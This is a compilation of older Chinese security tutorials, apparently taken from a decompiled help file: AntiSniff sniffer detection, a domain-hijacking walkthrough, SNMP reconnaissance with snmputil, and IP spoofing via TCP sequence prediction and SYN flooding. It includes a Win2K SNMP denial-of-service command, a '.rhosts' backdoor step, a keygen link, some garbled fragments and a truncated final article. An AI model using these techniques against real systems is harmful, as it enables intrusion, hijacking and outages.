  旧版本的Linux内核存在一个奇怪的特性，可被用于确定机器是否处于混杂模式。在正常情形下，网卡会过滤和丢弃那些目标地址不是本机MAC地址或以太网广播地址的数据包。如果数据包的目标地址为本机以太网地址或广播地址，将传送给内核进行处理，因为其认为该以太网数据帧包含了本机的正确IP地址或该网络广播地址。如果网卡处于混杂模式，则每个数据包都会传递给操作系统进行分析或处理。许多版本的 Linux内核只检查数据包中的IP地址以确定是否存放到IP堆栈中进行处理。为了利用这一点，AntiSniff构造一个无效以太网地址而IP地址有效的数据包。对于使用了这些内核版本和处于混杂模式的Linux系统，由于只检查到IP地址有效而将其接收并存放到相应堆栈中。通过在这个伪造的以太网数据帧中构造一个ICMP ECHO请求，这些系统会返回响应包(如果处于混杂模式)或忽略(如果不处于混杂模式)，从而暴露其工作模式。当伪造的以太网数据帧中的IP地址设置为网络广播地址时这个测试非常有效。 AntiSniff的使用者可以修改伪造的以太网址，缺省值为66:66:66:66:66:66。

NetBSD

  许多NetBSD内核具有与上述Linux内核相同的特性，不过伪造以太网数据帧中的 IP地址必须设为广播地址。

Windows 95/98/NT

  根据对网络驱动程序头文件的了解，可以知道当处于混杂模式时，Microsoft的操作系统会确切地检查每个包的以太网地址。如果与网卡的以太网地址匹配，将作为目标IP地址为本机的数据包存放到相应堆栈中处理。可以被利用的一点是系统对以太网广播包的分析。在正常情形下，例如机器工作在非混杂模式下，网卡只向系统内核传输那些目标以太网址与其匹配或为以太网广播地址(ff:ff:ff:ff:ff:ff)的数据包。如果机器处于混杂模式下，网络驱动程序仍然会检查每个数据包的以太网地址，但检查是否为广播包时却只检查头8位地址是否为0xff。因此，为了使处于混杂模式的系统返回响应信息，AntiSniff构造以太网地址为ff:00:00:00:00:00且含有正确目标IP 地址的数据包，当Microsoft的操作系统接收到这个数据包时，将根据网络驱动程序检查到的细微差别而返回响应包(如果处于混杂模式)或丢弃这个数据包(如果处于非混杂模式)。

  需要注意的是，这个检查与使用的网络驱动程序有关。Microsoft缺省的网络驱动程序具有以上特性，大多数的厂商为了保持兼容性也继承了这些特性。不过有些网卡会在其硬件层中检查以太网地址的头8位，所以可能会无论系统真正的状态是什么都总是返回正值。关于这类网卡和驱动程序请访问AntiSniff Ver 1.x的web网站。

◆ DNS 测试

  进行DNS测试的原因是许多攻击者使用的网络数据收集工具都对IP地址进行反向 DNS解析，因为他们希望根据域名寻找更有价值的主机。例如joepc1.foo.bar对攻击者的吸引力往往不如payroll.foo.bar这种商业域名。此时这些工具就由被动型网络工具变为主动型网络工具了。而不监听网络通讯的机器不会试图反向解析数据包中的 IP地址。为了利用这一点，AntiSniff Ver 1.x使自身处于混杂模式下，向网络发送虚假目标IP地址的数据包，然后监听是否有机器发送该虚假目标IP地址的反向DNS查询。伪造数据包的以太网地址、检查目标、虚假目标IP地址可由用户定制。

◆ 网络和主机响应时间测试

  这种测试已被证明是最有效的。它能够发现网络中处于混杂模式的机器，而不管其操作系统是什么。警告，这个测试会在很短的时间内产生巨大的网络通讯流量。进行这种测试的理由是不处于混杂模式的网卡提供了一定的硬件底层过滤机制。也就是说，目标地址非本地(广播地址除外)的数据包将被网卡的固件丢弃。在这种情况下，骤然增加、但目标地址不是本地的网络通讯流量对操作系统的影响只会很小。而处于混杂模式下的机器则缺乏此类底层的过滤，骤然增加、但目标地址不是本地的网络通讯流量会对该机器造成较明显的影响(不同的操作系统/内核/用户方式会有不同)。这些变化可以通过网络通讯流量工具监视到。

   根据以上要点，AntiSniff Ver 1.x 首先利用ICMP ECHO请求及响应计算出需要检测机器的响应时间基准和平均值。在得到这个数据后，立刻向本地网络发送大量的伪造数据包。与此同时再次发送测试数据包以确定平均响应时间的变化值。非混杂模式的机器的响应时间变化量会很小，而混杂模式的机器的响应时间变化量则通常会有 1-4个数量级。为了对付攻击者和入侵者们最常用的多种工具，AntiSniff进行了三种网络饱和度测试：SIXTYSIX、TCPSYN和THREEWAY。

        * SIXTYSIX测试构造的数据包数据全为0x66。这些数据包不会被非混杂模式的机器接收，同时方便使用常见的网络监听/分析工具(如tcpdump和snoop等)记录和捕获。

        * TCPSYN测试构造的数据包包含有效的TCP头和IP头，同时TCP标志域的SYN位被设置。

       * THREEWAY测试采取的原理基本上与TCPSYN一样，但更复杂些。在这种测试中两个实际不存在的机器间多次建立完整的TCP三方握手通讯。它能够更好地欺骗那些骇客工具。

   AntiSniff Ver 1.x 中能够通过以上三种数据包测试发现正处于混杂模式机器的测试方法最好周期性地进行和与以前的数据比较。响应时间测试第一次运行的数据还能够用于分析一个大型网络在flooding和非flooding状态时的性能，并帮助工程师调整网络性能。一旦确信本地网络已运行在正常(没有未经允许而处于混杂模式的机器) 状态，就应该设置AntiSniff工具周期性运行。只要发现某台机器性能(响应时间)发生数量级的变化，一般就能确定其正处于混杂模式。这种方法不需比较两台独立系统间的性能数据，而只需比较同一台机器不同时候的数据就能确定该机器是否处于混杂模式。

八　结尾

  本文旨在向你描述sniff的基本原理，为的是要使你不仅仅能够了解什么是sniff而已，而是要明白sniff运转的根本原理，文章参考了大量的资料，牵涉到直接引用的已经注明出处和作者，非常的感谢他们。在此还要感谢 W.Richhard.Stevens,虽然其人已逝，但留下的TCP/IP三卷本真是造福了大家，文章的很多地方也是拜他老人家指点迷经才得以感悟。最后还要感谢雀巢咖啡，让我得以熬夜把这篇文章写完，呵呵，谢谢大家。

This file is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


域名劫持攻击
本文仅用于研究目的！与此相关所产生的一切作者概不负责！
近期发现adobe.com,internet.com,nike.com,等等著名站点都分分遭受到攻击,
但攻击者所使用的技术并不是以往所使用的入侵WEB服务器,更改主页的惯用手法,攻击者使用的是一种域名劫持攻击技术,攻击者通过冒充原域名拥有者以
E-MAIL方式修改网络解决方案公司的注册域名记录,将域名转让到另一团体,通过在修改后注册信息所指定的DNS服务器加进该域名记录,让原域名指向另一IP的服务器,通常那两台服务器都是攻击者预先入侵控制的服务器,并不归攻击者所拥
有.
那攻击者到底是怎样实施该域名劫持攻击的呢?
1.获得要劫持的域名注册信息

攻击者会先访问网络解决方案公司www.networksolutions.com,通过该公司主页面所提供的MAKE CHANGES功能,输入要查询的域名,获得该域名注册信息以abc.com为例,我们将获得以下信息:
Registrant:
Capital Cities/ABC,Inc (ABC10-DOM)
77 W 66th St.
New York, NY 10023
US
Domain Name: ABC.COM
Administrative Contact, Billing Contact:
King, Thomas C. (SC3123-ORG) abc.legal.internet.registration@ABC.COM
ABC, Inc.
77 W 66th St.
New York, NY 10023
US
212-456-7012
Technical Contact, Zone Contact:
Domain Administrator (DA4894-ORG) dns-admin@STARWAVE.COM
Starwave Corporation
13810 SE Eastgate Way, ste. 400
Bellevue, WA 98005
US
206.664.4800
Fax- 206.664.4829
Record last updated on 11-Oct-2000.
Record expires on 23-May-2003.
Record created on 22-May-1996.
Database last updated on 20-Oct-2000 14:14:26 EDT.
Domain servers in listed order:
DNS1.STARWAVE.COM 204.202.132.51
T.NS.VERIO.NET 192.67.14.16

2.控制该管理域名的E-MAIL帐号

从上面获得的信息,攻击者可了解到abc.com的注册DNS服务器,管理域名的E-MAIL帐号,技术联系E-MAIL帐号等等注册资料,攻击者的重点就是先需要把该管理域名的E-MAIL帐号abc.legal.internet.registration@ABC.COM控制,进行收发在网络解决方案公司networksolutions主页所修改域名注册记录后的确认E-MAIL,对该E-MAIL帐号的控制过程不排除攻击者对该E-MAIL帐号进行密码暴力猜测,对该帐号所在E-MAIL服务器进行入侵攻击.

3.修改该域名在网络解决方案公司的注册信息

到这个时候,攻击者会使用网络解决方案公司networksolutions的MAKE CHANGES功能修改该域名的注册信息,包括拥有者信息,DNS服务器信息,等等.

4.冒充拥有者使用管理域名的E-MAIL帐号收发网络解决方案公司确认函

攻击者会在该管理域名E-MAIL帐号的真正拥有者收到网络解决方案公司确认函之前,把该E-MAIL帐号的信件接收,使用该E-MAIL帐号回复网络解决方案公司进行确认,进行二次回复确认后,将收到网络解决方案公司发来的成功修改注册记录函,攻击者成功劫持域名

5.在新指定的DNS服务器加进该域名记录

在注册信息新指定DNS服务器里加进该域名的PTR记录,指向另一IP的服务器,通常那两台服务器都是攻击者预先入侵控制的服务器,并不归攻击者所拥有.
后补：我认为在这种情况下，一个关键的就是比较了解这个与名的注册信息，然后破信箱呵呵！其实就是你域名劫持成功了，也会被最高权限拿回来！所以我劝那些想做的朋友还是学点别的吧！我贴的只是供给大家一点思路


snmp安装信息刺探以及安全策略

信息来源：http://killgod.blogchina.com/
记：黑客X档案前几期的文章上有介绍利用工具snmputil.exe来刺探信息的，但是本人觉得讲的有点简单，下面本人来深入的讨论一下，大家共同进步。

一、SNMP的概念,功能
SNMP（Simple Network Management Protocol）是被广泛接受并投入使用的工业标准，它的目标是保证管理信息在任意两点中传送，便于网络管理员在网络上的任何节点检索信息，进行修改，寻找故障；完成故障诊断，容量规划和报告生成。它采用轮询机制，提供最基本的功能集。最适合小型、快速、低价格的环境使用。它只要求无证实的传输层协议UDP，受到许多产品的广泛支持。
本文将讨论如何在Win2K安装使支持SNMP功能，SNMP技术对于提升整体安全水准是有益的，
但也可能存在风险，本文将同时检验这两个方面。另外，除了介绍一些开发工具外，
还将图解通过SNMP收集信息的可能用法,以及如何提高安全性。
二、在Win2K中安装SNMP
提供一个支持SNMP的Win2K设备与增加一个额外的Windows组件同样简单，只需要进入"开始/设置/控制面板/"，
选择"添加/删除程序"，然后选择"添加/删除Windows组件"，随之出现一个对话框，在其中选择"管理和监视工具"，
最后点击"下一步"，依照提示安装：
OK，现在Win2K就可以通过SNMP来访问了.
三、对snmp信息的刺探方法
1、Snmputil get
下面我们在命令行状态下使用Win2K资源工具箱中的程序snmputil.exe
(http://pdp.nease.net/snmputil.zip)
来获取安装了SNMP的Win2K机器的网络接口数目，命令参数是get：
前提是对方snmp口令是public
snmputil.exe提供基本的、低级的SNMP功能，通过使用不同的参数和变量，可以显示设备情况以及管理设备。
下面来看看这个例子都包含了哪些参数和变量：

●最后一个参数是SNMP变量，值为1.3.6.1.2.1.2.1.0，被称为物件识别代码OID（object identifier）。
OID有对应的字符串表达式，也就是在SNMPUTIL输出内容的第一行，在这个例子中，即是interfaces.ifNumber.0。
这个字符串对于用户来说，就要易记易读多了。你可以发现，这种对应关系与DNS类似。
●第二个参数指定将SNMP请求发送给哪个设备，在这里是localhost，即本地主机。
●第三个参数指定使用哪个共同体（即验证字符串或口令），在这里是public。
在每个发送到被管理设备的SNMP UDP信息包中，这个口令是以纯文本形式传输的。
当一个Win2K设备安装上SNMP支持后，缺省的SNMP共同体名称为 public，这表明允许用户读取现有的所有变量。
因为即便是设备中的网络接口数目也是一个敏感数据，所以这就成为第一个安全问题。

2、Snmputil getnext
接着，我们试一试snmputil的另一个命令参数getnext:
getnext的功能是获取指定SNMP变量的下一个变量的值及其OID。因为一个设备的所有SNMP变量都是规则排列的，
所以使用getnext命令参数就可以获取一个设备中的所有变量值及OID，而不需要事先知道它们的准确OID值。

另外Snmputil getnext可以用来测试 Windows 2K SNMP内存消耗拒绝服务攻击缺陷
受影响的系统有：
- Microsoft lmmib2.dll 5.00.2134.1
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
具体方法:
snmputil getnext localhost public .1.3.6.1.4.1.77.1.2.28.0
请谨慎使用。。。。。。 当心被警察叔叔K哦

3、snmputil walk
知道了next指令的用途，我们可以编写一个程序自动获取一个设备的所有OID及其数值，而不用一行行地敲入那么长的命令。
但幸运的是，snmputil的walk指令帮助我们实现了这个想法。在命令行状态下敲入下面的命令，将显示出本地机器几乎所有的变量：
C:\> snmputil walk localhost public .1.3
你会看到一行行的文字在黑白窗口中不停地滚动 ...... 直到最后出现"End of MIB subtree"的信息：
其他指令含义：
1.snmputil walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2 列出系统进程
这样就可以使入侵者在入侵之前就知道你系统运行的软件，有没有装杀毒软件，
从而知己知彼，百战不殆！
2.snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1 列系统用户列表
有了这个更好了，入侵者可以根据你的用户表编一个密码表进行探测，
减少了入侵的盲目性。
3.snmputil get 对方ip public .1.3.6.1.4.1.77.1.4.1.0 列出域名
这个可以列出系统的域名，是入侵者得到了主机名，可以根据此设置探测的密码字典，增加了成功率。

4.snmputil walk 对方ip public .1.3.6.1.2.1.25.6.3.1.2 列出安装的软件
用这个入侵者可以看你装的sp是什么，有没有装防火墙等信息，可以据此判断应该有的系统漏洞，增加了入侵的成功率。
5.snmputil walk 对方ip public .1.3.6.1.2.1.1 列出系统信息
这个可以使入侵者了解系统状况以及主机的稳定性，可以从主机的uptime里得知你系统开机了多长时间，从而确定是否入侵。

其他的工具：
1：SolarWinds 2002的IP Network Browser
_id=82">http://www.lbfok.com/txt/showsoft.asp?soft_id=82(软件地址)
_id=83">http://www.lbfok.com/txt/showsoft.asp?soft_id=83(注册机下载)
2：LANguard Network Scanner 3.
_id=103">http://www.lbfok.com/txt/showsoft.asp?soft_id=103
3：X-scan2.3cn
以上用x-scan就得到了系统信息
_id=13">http://www.lbfok.com/txt/showsoft.asp?soft_id=13

四、如何提高Win2K SNMP的安全性

1:首先需要注意的是，snmp服务的通讯端口是UDP端口，这也就是大部分网络管理人员很容易忽略的地方。
往往某些网管配置服务器阻断了NetBIOS空会话的建立，就认为系统安全有了相当的保障，可由于安装
了SNMP服务，不知不觉中，就给系统带去了极大的隐患。
最方便和容易的解决方法，就是关闭SNMP服务，或者卸载掉该服务。
如果关掉SNMP服务不方便的话，那么可以通过修改注册表或者直接修改图形界面的SNMP服务属性
进行安全配置。
开始——程序——管理工具——服务——SNMP Service——属性——安全

在这个配置界面中，可以修改community strings，也就是微软所说的"团体名称"，呵呵，也就是
我所说的"查询密码"。或者可以配置是否从某些安全主机上才允许SNMP查询。
不过NT4环境下的朋友就必须修改注册表了。
修改community strings，在
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities]
下，将public的名称修改成其它的名称就可以了。
如果要限定允许的ip才可以进行SNMP查询，可以进入
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\PermittedManagers]
添加字符串，名称为"1"，内容为要允许的主机IP。
当然，如果允许多台机器的话，就要名称沿用"2、3、4"等名称了

2:在Win2K中，事件日志中的任何事件都可用来创建包含这一事件的SNMP陷阱，Microsoft将这称为SNMP 事件转换器。
可以对一些Win2K设备进行配置，使得当有人试图登录它或者对其共享而未成功时，让这些设备能够发送一个SNMP陷阱信息。
把这些陷阱引导到我们自己的工作站，并设置当收到陷阱信息，用应用程序播放一个报警音调，这样就可以初步建立一个多
媒体安全管理工作站。
配置这些陷阱信息所需要的工具有evntwin.exe和evntcmd.exe，二者都是Win2K标准安装后的一部分：
用evntwin.exe对一些重要事件建立陷阱，然后在管理工作站上启动snmputil.exe：

C:\> snmputil trap
snmputil: listening for traps...
Incoming Trap:
generic = 6
specific = 529
enterprise = .iso.org.8.83.101.99.117.114.105.116.121
agent = 127.0.0.1
source IP = 127.0.0.1
community = public
variable = .iso.org.1.0
value = String
variable = .iso.org.2.0
value = String SYSTEM
variable = .iso.org.3.0
value = String JVO
variable = .iso.org.4.0
value = String 16
variable = .iso.org.5.0
value = String 2
variable = .iso.org.dod.0
value = String nonexistinguser
variable = .iso.org.7.0
value = String ADS
variable = .iso.org.8.0
value = String 3
variable = .iso.org.9.0
value = String NtLmSsp
variable = .iso.org.10.0
value = String MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
variable = .iso.org.11.0
value = String JVO
要记住，SNMP陷阱只产生于出现在Win2K事件日志中的事件。如果是一个单独的工作站，需要在"本地安全策略"中配置。
如果是一个域中的设备，要使用AD（活动目录）来设置。
另一个使用SNMP并得到附加安全的方法是主动监控某些SNMP变量，这些变量有：
●IpForwarding (1.3.6.1.2.1.4.1.0)：就是IP转发，这个特性对大多少工作站而言不是个好功能。
●IcmpInRedirects (1.3.6.1.2.1.5.7)：是否有人正在向设备发送icmp重定向信息。
●TcpOutRsts (1.3.6.1.2.1.6.15)：一个记数器，表示设备所发送的RST数。当受到端口扫描时，这个记数器会急剧增加。
●UdpNoPorts (1.3.6.1.2.1.7.2)：一个记数器，表示不提供服务的端口的通信量。同样是一个可能受到端口扫描的信号。
对于一个SNMP管理工作站来说，为这些变量设置阀值就能提供很好的报警信息。


IP欺骗技术

即使是很好的实现了TCP/IP协议，由于它本身有着一些不安全的地方，从而可以对TCP/IP网络进行攻击。这些攻击包括序列号欺骗，路由攻击，源地址欺骗和授权欺骗。本文除了介绍IP欺骗攻击方法外，还介绍怎样防止这个攻击手段。

上述攻击是建立在攻击者的计算机（包括路由）是连在INTERNET上的。这里的攻击方法是针对TCP/IP本身的缺陷的，而不是某一具体的实现。

实际上，IP 欺骗不是进攻的结果，而是进攻的手段。进攻实际上是信任关系的破坏。

第一节　IP欺骗原理

信任关系

＞ ～/.rhosts' ；从主机B上，在你的home目录中输入'echo " A username ＞～/.rhosts' 。至此，你能毫无阻碍地使用任何以r＊开头的远程调用命令,如：rlogin，rcall，rsh等，而无口令验证的烦恼。这些命令将允许以地址为基础的验证，或者允许或者拒绝以IP地址为基础的存取服务。

这里的信任关系是基于IP地址的。

Rlogin

Rlogin 是一个简单的客户/服务器程序，它利用TCP传输。Rlogin 允许用户从一台主机登录到另一台主机上，并且，如果目标主机信任它，Rlogin 将允许在不应答口令的情况下使用目标主机上的资源。安全验证完全是基于源主机的IP 地址。因此，根据以上所举的例子，我们能利用Rlogin 来从B远程登录到A，而且不会被提示输入口令。

TCP 序列号预测

IP只是发送数据包，并且保证它的完整性。如果不能收到完整的IP数据包，IP会向源地址发送一个ICMP 错误信息，希望重新处理。然而这个包也可能丢失。由于IP是非面向连接的，所以不保持任何连接状态的信息。每个IP数据包被松散地发送出去，而不关心前一个和后一个数据包的情况。由此看出，可以对IP堆栈进行修改，在源地址和目的地址中放入任意满足要求的IP地址，也就是说，提供虚假的IP地址。

TCP提供可靠传输。可靠性是由数据包中的多位控制字来提供的，其中最重要的是数据序列和数据确认，分别用SYN和ACK来表示。TCP 向每一个数据字节分配一个序列号，并且可以向已成功接收的、源地址所发送的数据包表示确认（目的地址ACK 所确认的数据包序列是源地址的数据包序列，而不是自己发送的数据包序列）。ACK在确认的同时，还携带了下一个期望获得的数据序列号。显然，TCP提供的这种可靠性相对于IP来说更难于愚弄。

序列编号、确认和其它标志信息

由于TCP是基于可靠性的，它能够提供处理数据包丢失，重复或是顺序紊乱等不良情况的机制。实际上，通过向所传送出的所有字节分配序列编号，并且期待接收端对发送端所发出的数据提供收讫确认，TCP 就能保证可靠的传送。接收端利用序列号确保数据的先后顺序，除去重复的数据包。TCP 序列编号可以看作是32位的计数器。它们从0至2^32－1 排列。每一个TCP连接（由一定的标示位来表示）交换的数据都是顺序编号的。在TCP数据包中定义序列号（SYN）的标示位位于数据段的前端。确认位（ACK）对所接收的数据进行确认，并且指出下一个期待接收的数据序列号。

TCP通过滑动窗口的概念来进行流量控制。设想在发送端发送数据的速度很快而接收端接收速度却很慢的情况下，为了保证数据不丢失，显然需要进行流量控制，协调好通信双方的工作节奏。所谓滑动窗口，可以理解成接收端所能提供的缓冲区大小。TCP利用一个滑动的窗口来告诉发送端对它所发送的数据能提供多大的缓冲区。由于窗口由16位bit所定义，所以接收端TCP 能最大提供65535个字节的缓冲。由此，可以利用窗口大小和第一个数据的序列号计算出最大可接收的数据序列号。

其它TCP标示位有RST（连接复位，Reset the connection）、PSH（压入功能，Push function）和FIN （发送者无数据，No more data from sender）。如果RST 被接收，TCP连接将立即断开。RST 通常在接收端接收到一个与当前连接不相关的数据包时被发送。有些时候，TCP模块需要立即传送数据而不能等整段都充满时再传。一个高层的进程将会触发在TCP头部的PSH标示，并且告诉TCP模块立即将所有排列好的数据发给数据接收端。FIN 表示一个应用连接结束。当接收端接收到FIN时，确认它，认为将接收不到任何数据了。

TCP序列号预测最早是由Morris对这一安全漏洞进行阐述的。他使用TCP序列号预测，即使是没有从服务器得到任何响应， 来产生一个TCP包序列。这使得他能欺骗在本地网络上的主机。

通常TCP连接建立一个包括3次握手的序列。客户选择和传输一个初始的序列号（SEQ标志）ISN C，并设置标志位SYN=１，告诉服务器它需要建立连接。服务器确认这个传输，并发送它本身的序列号ISN S，并设置标志位ACK，同时告知下一个期待获得的数据序列号是ISN=1。客户再确认它。在这三次确认后，开始传输数据。整个过程如下所示：(C:Client S:Server)
C---S: SYN(ISN C )
S---C: SYN(ISN S ) ,ACK(ISN C )
C---S: ACK(ISN S )
C---S:数据 或S---C:数据

也就是说对一个会话，C必须得到ISN S确认。ISN S可能是一个随机数。

了解序数编号如何选择初始序列号和如何根据时间变化是很重要的。似乎应该有这种情况，当主机启动后序列编号初始化为1，但实际上并非如此。初始序列号是由tcp_init函数确定的。ISN每秒增加128000，如果有连接出现，每次连接将把计数器的数值增加64000。很显然，这使得用于表示ISN的32位计数器在没有连接的情况下每9.32 小时复位一次。之所以这样，是因为这样有利于最大限度地减少旧有连接的信息干扰当前连接的机会。这里运用了2MSL 等待时间的概念（不在本文讨论的范围之内）。如果初始序列号是随意选择的，那么不能保证现有序列号是不同于先前的。假设有这样一种情况，在一个路由回路中的数据包最终跳出了循环，回到了“旧有”的连接（此时其实是不同于前者的现有连接），显然会发生对现有连接的干扰。

假设一个入侵者X有一种方法，能预测ISN S。在这种情况下，他可能将下列序号送给主机T来模拟客户的真正的ISN S：
X---S: SYN(ISN X ) ,SRC = T
S---T: SYN(ISN S ) ,ACK(ISN X )
X---S: ACK(ISN S ) ,SRC =T

尽管消息S*T并不到X，但是X能知道它的内容，因此能发送数据。如果X要对一个连接实施攻击，这个连接允许执行命令，那么另外的命令也能执行。

那么怎样产生随机的ISN？在Berkeley系统，最初的序列号变量由一个常数每秒加一产生，等到这个常数一半时，就开始一次连接。这样，如果开始了一个合法连接，并观察到一个ISN S在用，便可以计算，有很高可信度，ISN S 用在下一个连接企图。

Morris 指出，回复消息
S---T:SYN(ISN S ) ,ACK(ISN X )
事实上并不消失，真正主机将收到它，并试图重新连接。这并不是一个严重的障碍。

Morris发现，通过模仿一个在T上的端口，并向那个端口请求一个连接，他就能产生序列溢出，从而让它看上去S*T消息丢失了。另外一个方法，可以等待知道T关机或重新启动。

下面详细的介绍一下。
IP欺骗

IP欺骗由若干步骤组成，这里先简要地描述一下，随后再做详尽地解释。先做以下假定：首先，目标主机已经选定。其次，信任模式已被发现，并找到了一个被目标主机信任的主机。黑客为了进行IP欺骗，进行以下工作：使得被信任的主机丧失工作能力，同时采样目标主机发出的TCP 序列号，猜测出它的数据序列号。然后，伪装成被信任的主机，同时建立起与目标主机基于地址验证的应用连接。如果成功，黑客可以使用一种简单的命令放置一个系统后门，以进行非授权操作。

使被信任主机丧失工作能力

一旦发现被信任的主机，为了伪装成它，往往使其丧失工作能力。由于攻击者将要代替真正的被信任主机，他必须确保真正被信任的主机不能接收到任何有效的网络数据，否则将会被揭穿。有许多方法可以做到这些。这里介绍“TCP SYN 淹没”。

前面已经谈到，建立TCP连接的第一步就是客户端向服务器发送SYN请求。 通常，服务器将向客户端发送SYN/ACK 信号。这里客户端是由IP地址确定的。客户端随后向服务器发送ACK，然后数据传输就可以进行了。然而，TCP处理模块有一个处理并行SYN请求的最上限，它可以看作是存放多条连接的队列长度。其中，连接数目包括了那些三步握手法没有最终完成的连接，也包括了那些已成功完成握手，但还没有被应用程序所调用的连接。如果达到队列的最上限，TCP将拒绝所有连接请求，直至处理了部分连接链路。因此，这里是有机可乘的。

黑客往往向被进攻目标的TCP端口发送大量SYN请求，这些请求的源地址是使用一个合法的但是虚假的IP地址（可能使用该合法IP地址的主机没有开机）。而受攻击的主机往往是会向该IP地址发送响应的，但可惜是杳无音信。与此同时IP包会通知受攻击主机的TCP：该主机不可到达，但不幸的是TCP会认为是一种暂时错误，并继续尝试连接（比如继续对该IP地址进行路由，发出SYN/ACK数据包等等），直至确信无法连接。

当然，这时已流逝了大量的宝贵时间。值得注意的是，黑客们是不会使用那些正在工作的IP地址的，因为这样一来，真正IP持有者会收到SYN/ACK响应，而随之发送RST给受攻击主机，从而断开连接。前面所描述的过程可以表示为如下模式。
1 Z （X） －－－SYN －－－> B
   Z （X） －－－SYN －－－＞ B
   Z （X） －－－SYN －－－＞ B

2 X ＜－－－SYN/ACK－－ B
X ＜－－－SYN/ACK－－ B

3 X ＜－－－ RST －－－ B

在时刻1时，攻击主机把大批SYN 请求发送到受攻击目标（在此阶段，是那个被信任的主机），使其TCP队列充满。在时刻2时，受攻击目标向它所相信的IP地址（虚假的IP）作出SYN/ACK反应。在这一期间，受攻击主机的TCP模块会对所有新的请求予以忽视。不同的TCP 保持连接队列的长度是有所不同的。BSD 一般是5，Linux一般是6。使被信任主机失去处理新连接的能力，所赢得的宝贵空隙时间就是黑客进行攻击目标主机的时间，这使其伪装成被信任主机成为可能。

序列号取样和猜测

前面已经提到，要对目标主机进行攻击，必须知道目标主机使用的数据包序列号。现在，我们来讨论黑客是如何进行预测的。他们先与被攻击主机的一个端口（SMTP是一个很好的选择）建立起正常的连接。通常，这个过程被重复若干次，并将目标主机最后所发送的ISN存储起来。黑客还需要估计他的主机与被信任主机之间的RTT时间（往返时间），这个RTT时间是通过多次统计平均求出的。RTT 对于估计下一个ISN是非常重要的。前面已经提到每秒钟ISN增加128000，每次连接增加64000。现在就不难估计出ISN的大小了，它是128000乘以RTT的一半，如果此时目标主机刚刚建立过一个连接，那么再加上一个64000。再估计出ISN大小后，立即就开始进行攻击。当黑客的虚假TCP数据包进入目标主机时，根据估计的准确度不同，会发生不同的情况：

·如果估计的序列号是准确的，进入的数据将被放置在接收缓冲器以供使用。

·如果估计的序列号小于期待的数字，那么将被放弃。

·如果估计的序列号大于期待的数字，并且在滑动窗口（前面讲的缓冲）之内，那么，该数据被认为是一个未来的数据，TCP模块将等待其它缺少的数据。如果估计的序列号大于期待的数字，并且不在滑动窗口（前面讲的缓冲）之内，那么，TCP将会放弃该数据并返回一个期望获得的数据序列号。下面将要提到，黑客的主机并不能收到返回的数据序列号。

1 Z（B） --－－SYN －－－> A
2 B ＜－－－SYN/ACK－－－ A
3 Z（B） --－－－ACK－－－＞ A
4 Z（B） －－－——PSH－－－＞ A

攻击者伪装成被信任主机的IP 地址，此时，该主机仍然处在停顿状态（前面讲的丧失处理能力），然后向目标主机的513端口(rlogin的端口号)发送连接请求，如时刻1所示。在时刻2，目标主机对连接请求作出反应，发送SYN/ACK数据包给被信任主机（如果被信任主机处于正常工作状态，那么会认为是错误并立即向目标主机返回RST数据包，但此时它处于停顿状态）。按照计划，被信任主机会抛弃该SYN/ACK数据包。然后在时刻3，攻击者向目标主机发送ACK数据包，该ACK使用前面估计的序列号加1（因为是在确认）。如果攻击者估计正确的话，目标主机将会接收该ACK 。至此，连接正式建立起来了。在时刻4，将开始数据传输。一般地，攻击者将在系统中放置一个后门，以便侵入。经常会使用 ′cat ＋＋ >> ～/.rhosts′。之所以这样是因为，这个办法迅速、简单地为下一次侵入铺平了道路。

一个和这种TCP序列号攻击相似的方法，是使用NETSTAT服务。在这个攻击中，入侵者模拟一个主机关机了。如果目标主机上有NETSTAT，它能提供在另一端口上的必须的序列号。这取消了所有要猜测的需要。

典型攻击工具和攻击过程:hunt

IP欺骗的防止

防止的要点在于，这种攻击的关键是相对粗糙的初始序列号变量在Berkeley系统中的改变速度。TCP协议需要这个变量每秒要增加25000次。Berkeley 使用的是相对比较慢的速度。但是，最重要的是，是改变间隔，而不是速度。

我们考虑一下一个计数器工作在250000Hz时是否有帮助。我们先忽略其他发生的连接，仅仅考虑这个计数器以固定的频率改变。

为了知道当前的序列号，发送一个SYN包，收到一个回复：
X---S: SYN(ISN X )
S---X: SYN(ISN S ) ,ACK(ISN X ) (1)
第一个欺骗包，它触发下一个序列号，能立即跟随服务器对这个包的反应：
X---S: SYN(ISN X ) ,SRC = T (2)
序列号ISN S用于回应了：
S---T: SYN(ISN S ) ,ACK(ISN X )
是由第一个消息和服务器接收的消息唯一决定。这个号码是X和S的往返精确的时间。这样，如果欺骗能精确地测量和产生这个时间，即使是一个4-U时钟都不能击退这次攻击。

抛弃基于地址的信任策略

阻止这类攻击的一种非常容易的办法就是放弃以地址为基础的验证。不允许r＊类远程调用命令的使用；删除.rhosts 文件；清空/etc/hosts.equiv 文件。这将迫使所有用户使用其它远程通信手段，如telnet、ssh、skey等等。

进行包过滤

如果您的网络是通过路由器接入Internet 的，那么可以利用您的路由器来进行包过滤。确信只有您的内部LAN可以使用信任关系，而内部LAN上的主机对于LAN以外的主机要慎重处理。您的路由器可以帮助您过滤掉所有来自于外部而希望与内部建立连接的请求。

使用加密方法

阻止IP欺骗的另一种明显的方法是在通信时要求加密传输和验证。当有多种手段并存时，可能加密方法最为适用。
使用随机化的初始序列号

黑客攻击得以成功实现的一个很重要的因素就是，序列号不是随机选择的或者随机增加的。Bellovin 描述了一种弥补TCP不足的方法，就是分割序列号空间。每一个连接将有自己独立的序列号空间。序列号将仍然按照以前的方式增加，但是在这些序列号空间中没有明显的关系。可以通过下列公式来说明：

ISN =M＋F（localhost，localport ，remotehost ，remoteport ）
M：4微秒定时器
F：加密HASH函数。

F产生的序列号，对于外部来说是不应该能够被计算出或者被猜测出的。Bellovin 建议F是一个结合连接标识符和特殊矢量（随机数，基于启动时间的密码）的HASH函数。


[转载]利用HTTP协议的特性进行拒绝服务攻击的一些构思

中国协议分析网
在介绍这个方法之前，让我们复习一下HTTP是怎样工作的：
